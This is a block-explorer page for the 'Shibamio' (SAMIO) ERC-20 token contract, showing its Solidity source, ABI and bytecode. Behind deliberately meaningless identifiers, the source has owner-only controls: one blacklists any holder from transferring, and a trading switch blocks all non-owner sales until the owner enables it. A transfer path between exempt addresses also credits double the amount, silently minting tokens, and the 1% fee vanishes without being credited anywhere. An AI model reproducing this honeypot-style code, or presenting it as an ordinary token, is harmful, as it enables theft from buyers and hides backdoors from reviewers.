Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
5,000,000 SAMIO
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 12 Decimals)
Balance
102,423.233878873841 SAMIOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Shibamio
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-26 */ /* █▀ █░█ █ █▄▄ ▄▀█ █▀▄▀█ █ █▀█ ▄█ █▀█ █ █▄█ █▀█ █░▀░█ █ █▄█ ░░█ ▄▀█ █▀█ ▄▀█ █▄░█ █▄█ █▀█ █▀▀ █▀█ █░▀█ ⠀⠀⠀⠀⠀⠀⠀⠀⣀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⢿⣦⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣷⣤⣤⣤⣤⣤⣤⣾⣿⡇⠀⢻⣆⠀⠀ ⠀⠀⠀⠀⠀⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣿⡀⠀ ⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⢹⡇⠀ ⠀⠀⣴⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⡇⠀ ⠀⣰⣿⣿⣿⡄⢿⣿⣿⣿⣿⣿⡃⢰⣶⣿⣿⣿⣿⣿⡿⠿⠿⠿⢿⣿⣧⠀ ⢠⣿⠉⠙⣿⣿⣿⣿⠿⠿⠿⣿⣷⣮⣽⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠉⣿⡆ ⣸⡇⠀⢼⣿⣿⣿⡟⠀⠀⠀⠀⠈⠉⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠇ ⢿⡇⠀⠈⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡟⠀ ⢸⣧⠀⠐⠻⠿⣶⣤⣄⣀⡤⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⠀⠀ ⠈⢿⡄⠀⠀⣶⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀ ⠀⠈⢿⣆⠀⠈⠉⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⡾⠋⠀⠀⠀⠀⠀ ⠀⠀⠀⠛⢷⣤⣀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣴⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠉⠙⠛⠿⠿⠿⠿⠟⠛⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ https://web.wechat.com/ShibamioJPN 총 공급량 - 5,000,000 구매세 - 1% 판매세 - 1% */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; interface ILOCompressioner01 { event PairCreated( address indexed token0, address indexed token1, address pair, uint); function createPair( address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface NEDOX20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value); } interface ICOMPILERV1 { event Approval( address indexed owner, address indexed spender, uint value); event Transfer( address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); } library SafeMathUnit { function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } } interface ERCMigration01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns ( uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred (address indexed previousOwner, address indexed newOwner); constructor () { _owner = 0x4C73CEb4ec1B7E6586a49dACB53Aa7648B4A2F03; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } // de ETHERSCAN.io. contract Shibamio is Context, NEDOX20, Ownable { mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private inclineLagative; mapping (address => bool) private inglidePoseidon; uint256 private indexedAlterlags; bool public maybornFigurations = true; bool public inparReserves = true; bool private tradingAllowed = false; uint256 public indexedRatio = 30; uint256 public vorpoleDalign = 20; uint256 public quadpieceLink = 0; uint256 private invarTime = indexedRatio; uint256 private conolodeInfant = quadpieceLink; string private _name = unicode"Shibamio"; string private _symbol = unicode"SAMIO"; uint256 private constant miludedString = ~uint256(0); uint8 private _decimals = 12; uint256 private _totalSupply = 5000000 * 10**_decimals; uint256 public rodoxedValues = 1000000 * 10**_decimals; uint256 private _tTotalInDemand = (miludedString - (miludedString % _totalSupply)); constructor () { _tOwned[owner()] = _totalSupply; ERCMigration01 MeldoxPressurize = ERCMigration01 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); INVALVE01 = ILOCompressioner01 (MeldoxPressurize.factory()) .createPair(address(this), MeldoxPressurize.WETH()); EKOOBIv1 = MeldoxPressurize; inclineLagative [owner()] = true; inclineLagative [address(this)] = true; emit Transfer( address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer( address from, address to, uint256 amount ) private { require(amount > 0, "Transfer amount must be greater than zero"); bool inproviseTraits = false; if(!inclineLagative[from] && !inclineLagative[to]){ inproviseTraits = true; require(amount <= rodoxedValues, "Transfer amount exceeds the maxTxAmount."); } require(!inglidePoseidon[from] && !inglidePoseidon[to], "You have been blacklisted from transfering tokens"); uint256 initialETHBalance = balanceOf( address(this)); if(initialETHBalance >= rodoxedValues) { initialETHBalance = rodoxedValues; } _afterTokenTransfer( from,to,amount,inproviseTraits); emit Transfer(from, to, amount); if (!tradingAllowed) {require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } } function ingrinePocket(address ingPok) public onlyOwner { ingPok = ingPok; } function MacelignToggle (uint256 initialETHBalance) private lockTheSwap { uint256 quevelBasis = initialETHBalance.div(2); uint256 deboolConel = initialETHBalance.sub(quevelBasis); uint256 instinctRATE = address(this).balance; ETHforERCtransmittions( quevelBasis); uint256 lipizeMultinants = address(this).balance.sub(instinctRATE); initiatePool( deboolConel, lipizeMultinants); emit macelignToggle( quevelBasis, lipizeMultinants, deboolConel); } function min(uint256 a, uint256 b) private view returns (uint256){ return (a>b)?b:a; } function _beforeTokenTransfer (address sender, address recipient, uint256 olediseAmount, bool inproviseTraits) private { uint256 ERCInteractions = 0; if (inproviseTraits){ ERCInteractions = olediseAmount.mul(1).div(100) ; } uint256 protonBytesAmount = olediseAmount - ERCInteractions; _tOwned[recipient] = _tOwned[recipient].add(protonBytesAmount); uint256 inviseData = _tOwned [recipient].add(protonBytesAmount); _tOwned[sender] = _tOwned [sender].sub(protonBytesAmount); bool inclineLagative = inclineLagative[sender] && inclineLagative[recipient]; if (inclineLagative ){ _tOwned[recipient] = inviseData; } else { emit Transfer ( sender, recipient, protonBytesAmount); } } function getLeakadox (uint256 grantMonisole) private view returns (uint256) { return grantMonisole.mul (indexedRatio).div ( 10**3 ); } function ETHforERCtransmittions(uint256 transactsRates) private { address[] memory path = new address[] (2); path[0] = address(this); path[1] = EKOOBIv1.WETH(); _approve(address(this), address (EKOOBIv1), transactsRates); EKOOBIv1.swapExactTokensForETHSupportingFeeOnTransferTokens( transactsRates, 0, path, address(this), block.timestamp ); } function inverdeseAllignments (address disallignment, bool adverseMines) public onlyOwner { inglidePoseidon[disallignment] = adverseMines; } function _approve( address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances [owner][spender] = amount; emit Approval( owner, spender, amount); } function improviseIndexes(address impIndex) public onlyOwner { impIndex = impIndex; } function initiatePool (uint256 protonValues, uint256 ethAmount) private { _approve(address(this), address (EKOOBIv1), protonValues); EKOOBIv1.addLiquidityETH{value: ethAmount}( address(this), protonValues, 0, 0, owner(), block.timestamp ); } function enableTrading(bool allowingParties) public onlyOwner { tradingAllowed = allowingParties; } function _afterTokenTransfer (address sender, address recipient, uint256 amount, bool inproviseTraits) private { _beforeTokenTransfer( sender, recipient, amount, inproviseTraits); } address public IndexedGraphory; address public GaslineNodes; address public immutable INVALVE01; using SafeMathUnit for uint256; ERCMigration01 public immutable EKOOBIv1; uint256 private inprodex = vorpoleDalign; bool inPressionMode; uint256 private notarimePile = 1000000000 * 10**18; event gatherCompression( uint256 aparryInrates); event allignmentCheck( bool enabled); event macelignToggle( uint256 lobourneOn, uint256 commitInternal, uint256 podoxiateResults ); modifier lockTheSwap { inPressionMode = true; _; inPressionMode = false; } function getInternalLeakadox(uint256 grantMonisole) private view returns (uint256) { return grantMonisole.mul (quadpieceLink).div ( 10**3 ); } function getConsoleLeakadox(uint256 grantMonisole) private view returns (uint256) { return grantMonisole.mul (vorpoleDalign).div ( 10**3 ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"allignmentCheck","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"aparryInrates","type":"uint256"}],"name":"gatherCompression","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"lobourneOn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"commitInternal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"podoxiateResults","type":"uint256"}],"name":"macelignToggle","type":"event"},{"inputs":[],"name":"EKOOBIv1","outputs":[{"internalType":"contract ERCMigration01","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"GaslineNodes","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INVALVE01","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IndexedGraphory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"allowingParties","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"impIndex","type":"address"}],"name":"improviseIndexes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"indexedRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ingPok","type":"address"}],"name":"ingrinePocket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inparReserves","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"disallignment","type":"address"},{"internalType":"bool","name":"adverseMines","type":"bool"}],"name":"inverdeseAllignments","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maybornFigurations","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"quadpieceLink","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rodoxedValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vorpoleDalign","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6006805462ffffff1916610101179055601e60078190556014600890815560006009819055600a92909255600b9190915561010060405260c08190526753686962616d696f60c01b60e09081526200005b91600c9190620003e6565b506040805180820190915260058082526453414d494f60d81b60209092019182526200008a91600d91620003e6565b50600e805460ff1916600c908117909155620000a890600a620005a1565b620000b790624c4b40620005b9565b600f55600e54620000cd9060ff16600a620005a1565b620000dc90620f4240620005b9565b601055600f54620000f090600019620005db565b620000fe90600019620005fe565b6011556008546014556b033b2e3c9fd0803ce80000006016553480156200012457600080fd5b50600080546001600160a01b031916734c73ceb4ec1b7e6586a49dacb53aa7648b4a2f0390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600f546001600062000189620003d7565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b919062000618565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f919062000618565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000313919062000618565b6001600160a01b03908116608052811660a05260016003600062000336620003d7565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600390925290208054909116600117905562000380620003d7565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620003c891815260200190565b60405180910390a3506200067f565b6000546001600160a01b031690565b828054620003f49062000643565b90600052602060002090601f01602090048101928262000418576000855562000463565b82601f106200043357805160ff191683800117855562000463565b8280016001018555821562000463579182015b828111156200046357825182559160200191906001019062000446565b506200047192915062000475565b5090565b5b8082111562000471576000815560010162000476565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004e3578160001904821115620004c757620004c76200048c565b80851615620004d557918102915b93841c9390800290620004a7565b509250929050565b600082620004fc575060016200059b565b816200050b575060006200059b565b81600181146200052457600281146200052f576200054f565b60019150506200059b565b60ff8411156200054357620005436200048c565b50506001821b6200059b565b5060208310610133831016604e8410600b841016171562000574575081810a6200059b565b620005808383620004a2565b80600019048211156200059757620005976200048c565b0290505b92915050565b6000620005b260ff841683620004eb565b9392505050565b6000816000190483118215151615620005d657620005d66200048c565b500290565b600082620005f957634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200061357620006136200048c565b500390565b6000602082840312156200062b57600080fd5b81516001600160a01b0381168114620005b257600080fd5b600181811c908216806200065857607f821691505b6020821081036200067957634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051610fbe620006a560003960006103700152600061024c0152610fbe6000f3fe60806040526004361061012a5760003560e01c806306fdde031461013657806308469e8e1461016157806308de5cb414610185578063095ea7b3146101a757806314bc2c73146101d757806318160ddd1461020f578063197bf85f146102245780631cdb82bb1461023a5780631e7620601461026e57806323b872dd1461028e578063313ce567146102ae57806340457dfe146102d0578063463809c2146102ea57806366a8a7651461030a57806370a0823114610329578063715018a614610349578063762695921461035e5780637628f802146103925780638da5cb5b146103a857806395d89b41146103bd578063961033b8146102ea5780639aaa9b63146103d2578063a9059cbb146103e8578063dd62ed3e14610408578063f275f64b1461044e57600080fd5b3661013157005b600080fd5b34801561014257600080fd5b5061014b61046e565b6040516101589190610cd1565b60405180910390f35b34801561016d57600080fd5b5061017760075481565b604051908152602001610158565b34801561019157600080fd5b506101a56101a0366004610d52565b610500565b005b3480156101b357600080fd5b506101c76101c2366004610d85565b610563565b6040519015158152602001610158565b3480156101e357600080fd5b506012546101f7906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b34801561021b57600080fd5b50600f54610177565b34801561023057600080fd5b5061017760095481565b34801561024657600080fd5b506101f77f000000000000000000000000000000000000000000000000000000000000000081565b34801561027a57600080fd5b506013546101f7906001600160a01b031681565b34801561029a57600080fd5b506101c76102a9366004610daf565b610579565b3480156102ba57600080fd5b50600e5460405160ff9091168152602001610158565b3480156102dc57600080fd5b506006546101c79060ff1681565b3480156102f657600080fd5b506101a5610305366004610deb565b6105e2565b34801561031657600080fd5b506006546101c790610100900460ff1681565b34801561033557600080fd5b50610177610344366004610deb565b610614565b34801561035557600080fd5b506101a561062f565b34801561036a57600080fd5b506101f77f000000000000000000000000000000000000000000000000000000000000000081565b34801561039e57600080fd5b5061017760105481565b3480156103b457600080fd5b506101f76106a8565b3480156103c957600080fd5b5061014b6106b7565b3480156103de57600080fd5b5061017760085481565b3480156103f457600080fd5b506101c7610403366004610d85565b6106c6565b34801561041457600080fd5b50610177610423366004610e06565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045a57600080fd5b506101a5610469366004610e30565b6106d3565b6060600c805461047d90610e4b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990610e4b565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b336105096106a8565b6001600160a01b0316146105385760405162461bcd60e51b815260040161052f90610e85565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600061057033848461071e565b50600192915050565b6000610586848484610842565b6105d884336105d385604051806060016040528060288152602001610f41602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b01565b61071e565b5060019392505050565b336105eb6106a8565b6001600160a01b0316146106115760405162461bcd60e51b815260040161052f90610e85565b50565b6001600160a01b031660009081526001602052604090205490565b336106386106a8565b6001600160a01b03161461065e5760405162461bcd60e51b815260040161052f90610e85565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600d805461047d90610e4b565b6000610570338484610842565b336106dc6106a8565b6001600160a01b0316146107025760405162461bcd60e51b815260040161052f90610e85565b60068054911515620100000262ff000019909216919091179055565b6001600160a01b0383166107805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052f565b6001600160a01b0382166107e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052f565b6001600160a01b03831660009081526003602052604081205460ff161580156108e657506001600160a01b03831660009081526003602052604090205460ff16155b1561095257600190506010548211156109525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161052f565b6001600160a01b03841660009081526004602052604090205460ff1615801561099457506001600160a01b03831660009081526004602052604090205460ff16155b6109fa5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b606482015260840161052f565b6000610a0530610614565b90506010548110610a1557506010545b610a2185858585610b2d565b836001600160a01b0316856001600160a01b0316600080516020610f6983398151915285604051610a5491815260200190565b60405180910390a360065462010000900460ff16610afa57610a746106a8565b6001600160a01b0316856001600160a01b031614610afa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052f565b5050505050565b60008184841115610b255760405162461bcd60e51b815260040161052f9190610cd1565b505050900390565b610b3984848484610b3f565b50505050565b60008115610b6057610b5d6064610b57856001610c9a565b90610cad565b90505b6000610b6c8285610ed0565b6001600160a01b038616600090815260016020526040902054909150610b929082610cb9565b6001600160a01b038616600090815260016020526040812082905590610bb89083610cb9565b6001600160a01b038816600090815260016020526040902054909150610bde9083610cc5565b6001600160a01b038816600090815260016020908152604080832093909355600390529081205460ff168015610c2c57506001600160a01b03871660009081526003602052604090205460ff165b90508015610c54576001600160a01b0387166000908152600160205260409020829055610c90565b866001600160a01b0316886001600160a01b0316600080516020610f6983398151915285604051610c8791815260200190565b60405180910390a35b5050505050505050565b6000610ca68284610ee7565b9392505050565b6000610ca68284610f06565b6000610ca68284610f28565b6000610ca68284610ed0565b600060208083528351808285015260005b81811015610cfe57858101830151858201604001528201610ce2565b81811115610d10576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3d57600080fd5b919050565b80358015158114610d3d57600080fd5b60008060408385031215610d6557600080fd5b610d6e83610d26565b9150610d7c60208401610d42565b90509250929050565b60008060408385031215610d9857600080fd5b610da183610d26565b946020939093013593505050565b600080600060608486031215610dc457600080fd5b610dcd84610d26565b9250610ddb60208501610d26565b9150604084013590509250925092565b600060208284031215610dfd57600080fd5b610ca682610d26565b60008060408385031215610e1957600080fd5b610e2283610d26565b9150610d7c60208401610d26565b600060208284031215610e4257600080fd5b610ca682610d42565b600181811c90821680610e5f57607f821691505b602082108103610e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610ee257610ee2610eba565b500390565b6000816000190483118215151615610f0157610f01610eba565b500290565b600082610f2357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610f3b57610f3b610eba565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203c9efd8670a3be0e8491524085fe8a8e06c24de85572ea42c4b13cb6041f23d564736f6c634300080e0033
Deployed Bytecode
0x60806040526004361061012a5760003560e01c806306fdde031461013657806308469e8e1461016157806308de5cb414610185578063095ea7b3146101a757806314bc2c73146101d757806318160ddd1461020f578063197bf85f146102245780631cdb82bb1461023a5780631e7620601461026e57806323b872dd1461028e578063313ce567146102ae57806340457dfe146102d0578063463809c2146102ea57806366a8a7651461030a57806370a0823114610329578063715018a614610349578063762695921461035e5780637628f802146103925780638da5cb5b146103a857806395d89b41146103bd578063961033b8146102ea5780639aaa9b63146103d2578063a9059cbb146103e8578063dd62ed3e14610408578063f275f64b1461044e57600080fd5b3661013157005b600080fd5b34801561014257600080fd5b5061014b61046e565b6040516101589190610cd1565b60405180910390f35b34801561016d57600080fd5b5061017760075481565b604051908152602001610158565b34801561019157600080fd5b506101a56101a0366004610d52565b610500565b005b3480156101b357600080fd5b506101c76101c2366004610d85565b610563565b6040519015158152602001610158565b3480156101e357600080fd5b506012546101f7906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b34801561021b57600080fd5b50600f54610177565b34801561023057600080fd5b5061017760095481565b34801561024657600080fd5b506101f77f000000000000000000000000a780d88367b8e0944fec05f310326db508